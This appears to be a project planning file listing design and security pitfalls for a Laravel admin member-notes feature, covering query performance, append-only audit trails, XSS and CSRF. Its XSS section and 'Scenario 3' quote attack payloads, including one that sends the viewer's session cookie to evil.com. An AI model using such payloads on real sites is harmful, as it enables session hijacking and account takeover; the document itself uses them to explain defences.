Files
usher-manage-stack/.planning/research/PITFALLS.md

10 KiB

Domain Pitfalls

Domain: CRM/Admin Member Note Systems Researched: 2026-02-13

Critical Pitfalls

Mistakes that cause rewrites or major issues.

Pitfall 1: N+1 Query Explosion on Member List

What goes wrong: Loading note counts without eager loading causes N+1 queries (1 query per member row).

Why it happens: Developer writes $member->notes->count() in Blade loop, triggering lazy load per iteration.

Consequences:

  • Member list page load time grows linearly with pagination size
  • Database connection pool exhaustion (15 members = 15 extra queries)
  • Poor UX (slow page loads)

Prevention:

// WRONG: Lazy loading in loop
$members = Member::paginate(15);
// In Blade: {{ $member->notes->count() }} = 15 extra queries

// RIGHT: Eager load counts
$members = Member::withCount('notes')->paginate(15);
// In Blade: {{ $member->notes_count }} = 1 query total

Detection: Laravel Debugbar shows 15+ queries on member list page; query log shows repeated SELECT * FROM notes WHERE notable_id = ?.


Pitfall 2: Allowing Note Edit/Delete Breaks Audit Trail

What goes wrong: Adding "Edit" or "Delete" buttons on notes destroys compliance value.

Why it happens: Users request ability to "fix typos" or "remove mistakes"; developer adds feature without considering audit implications.

Consequences:

  • Legal/compliance risk (no immutable record of observations)
  • Loss of trust (admins can rewrite history)
  • Violates NPO transparency expectations
  • Healthcare standards require append-only audit trails

Prevention:

  • Hard constraint in requirements: NO edit/delete operations
  • Database triggers to prevent UPDATE/DELETE on notes table (optional)
  • UI design: no edit/delete buttons, only "Add Correction" button that creates new note
  • Documentation: explain append-only pattern to stakeholders upfront

Detection: Warning signs: user stories mention "edit note," "delete note," or "fix note."


Pitfall 3: XSS Vulnerability via Unescaped Note Content

What goes wrong: User enters <script>alert('XSS')</script> in note content, executes on admin viewing notes.

Why it happens: Developer uses {!! $note->content !!} (unescaped) instead of {{ $note->content }} (escaped) in Blade.

Consequences:

  • Security breach (session hijacking, CSRF token theft)
  • Malicious admin can inject scripts affecting other admins
  • Compliance violation (data integrity)

Prevention:

// Backend: Strip HTML tags on save
$note->content = strip_tags($request->content);

// Blade: Always escape (default)
{{ $note->content }}  // ✓ Safe (auto-escapes)
{!! $note->content !!}  // ✗ Dangerous (unescaped)

// Alpine.js: Use x-text, not x-html
<div x-text="note.content"></div>  // ✓ Safe
<div x-html="note.content"></div>  // ✗ Dangerous

Detection: Penetration testing; submit <img src=x onerror=alert(1)> in note form and check if alert fires.


Pitfall 4: CSRF Token Missing on AJAX Requests

What goes wrong: Axios POST requests fail with 419 CSRF error.

Why it happens: Axios not configured to send X-XSRF-TOKEN header, or cookie not set.

Consequences:

  • All note creation fails (HTTP 419)
  • Poor UX (users can't add notes)
  • Frustration (appears broken)

Prevention:

// Verify in resources/js/bootstrap.js:
axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';
// Axios automatically reads XSRF-TOKEN cookie and sends as X-XSRF-TOKEN header

// Verify in Blade layout:
<meta name="csrf-token" content="{{ csrf_token() }}">

// Laravel automatically sets XSRF-TOKEN cookie on page load

Detection: Browser console shows POST /admin/members/1/notes 419 CSRF token mismatch; Laravel logs show CSRF validation failure.

Moderate Pitfalls

Pitfall 5: Storing Author Name (String) Instead of user_id (Foreign Key)

What goes wrong: Storing author_name: "John Smith" instead of user_id: 42.

Prevention: Use foreign key to users table; join to get name dynamically. Prevents orphaned author names if user renamed.


Pitfall 6: Forgetting to Index notable_id in Polymorphic Table

What goes wrong: Queries like WHERE notable_id = 123 AND notable_type = 'App\\Models\\Member' become slow without composite index.

Prevention: Migration includes $table->index(['notable_type', 'notable_id']) (morphs() helper does this automatically).


Pitfall 7: Using Global Alpine.js Store for Notes

What goes wrong: Alpine.store('notes', {...}) creates shared state; updating notes for Member A affects Member B's UI.

Prevention: Use component-scoped x-data per member row (see ARCHITECTURE.md Pattern 3).


Pitfall 8: Not Handling AJAX Errors Gracefully

What goes wrong: Network failure causes silent failure; user thinks note saved but it didn't.

Prevention: Always show user feedback on error:

catch (error) {
    if (error.response?.status === 422) {
        alert('備註內容不得為空或超過 1000 字');
    } else {
        alert('新增備註失敗,請稍後再試');
    }
}

Pitfall 9: Loading All Notes on Page Load (Performance)

What goes wrong: Eager loading with('notes') on member list loads ALL note content, bloating response.

Prevention: Use withCount('notes') to load only counts; fetch full notes via AJAX when user expands panel.

Minor Pitfalls

Pitfall 10: Inconsistent Timestamp Formatting

What goes wrong: Mixing "2 hours ago" and "2026-02-13 14:30" without context confuses users.

Prevention: Use relative timestamps for recent (<24h), absolute for older, with tooltip showing full ISO 8601.


Pitfall 11: No Loading State on AJAX Submit

What goes wrong: User clicks "儲存" multiple times during slow network, creates duplicate notes.

Prevention: Disable submit button while isAdding === true:

<button @click="addNote" :disabled="isAdding">
    <span x-show="!isAdding">儲存</span>
    <span x-show="isAdding">儲存中...</span>
</button>

Pitfall 12: Not Escaping Traditional Chinese Quotes in JSON

What goes wrong: Note content with 「quoted text」 breaks JSON parsing if not properly escaped.

Prevention: Use json_encode() (Laravel does automatically); test with Traditional Chinese punctuation.


Pitfall 13: Missing Empty State Message

What goes wrong: Expanded note panel shows blank space when member has no notes; user confused.

Prevention:

<div x-show="notes.length === 0">
    <p class="text-gray-500">尚無備註</p>
</div>

Pitfall 14: Forgetting Dark Mode Styling

What goes wrong: Note panel has white background in dark mode, blinds users.

Prevention: Use Tailwind dark: prefix on all color classes (see ARCHITECTURE.md).

Phase-Specific Warnings

Phase Topic Likely Pitfall Mitigation
Database Migration Forgetting notable_type and notable_id index Use $table->morphs('notable') (auto-creates index)
Model Relationships Using hasMany instead of morphMany Follow polymorphic pattern from start (future-proof)
Controller JSON Responses Returning raw model instead of Resource Always wrap in new NoteResource($note) for consistency
Alpine.js AJAX Using Fetch API without CSRF token Use Axios (already configured with CSRF in bootstrap.js)
Blade Templates Unescaping note content Always use {{ }} not {!! !!} for user input
Query Optimization Lazy loading note counts Use withCount('notes') in controller query
Audit Logging Forgetting to log note creation Add AuditLogger::log() call in controller store() method
Access Control Adding new permission instead of reusing middleware Reuse existing admin middleware (all admin roles share notes)
UI/UX Full page reload after note submit Use AJAX with Alpine.js (no navigation)
Testing Not testing with Traditional Chinese input Test with 「」、。!? characters in note content

Real-World Failure Modes

Scenario 1: The Disappeared Notes

What happened: Developer used onDelete('cascade') on user_id foreign key. When an admin user account was deleted, all their notes disappeared.

Impact: Lost audit trail; compliance violation.

Fix: Use onDelete('restrict') on user_id (prevent user deletion if they authored notes) OR use soft deletes on users table.


Scenario 2: The Slow Member List

What happened: 15-member list took 3 seconds to load due to N+1 queries loading note counts.

Impact: Poor UX; users complained about slowness.

Fix: Changed Member::paginate(15) to Member::withCount('notes')->paginate(15). Load time dropped to 200ms.


Scenario 3: The XSS Attack

What happened: Malicious admin entered <img src=x onerror=fetch('https://evil.com?cookie='+document.cookie)> in note. When chairman viewed notes, session cookie leaked.

Impact: Session hijacking; chairman account compromised.

Fix: Added strip_tags() on backend save, changed Blade to {{ }}, changed Alpine.js to x-text.


Scenario 4: The CSRF 419 Mystery

What happened: All note submissions failed with 419 error after developer added custom Axios instance without CSRF config.

Impact: Feature completely broken; users frustrated.

Fix: Reverted to global axios instance configured in bootstrap.js (includes CSRF token automatically).

Sources


Pitfalls research for: Member Notes System (會員備註系統) Researched: 2026-02-13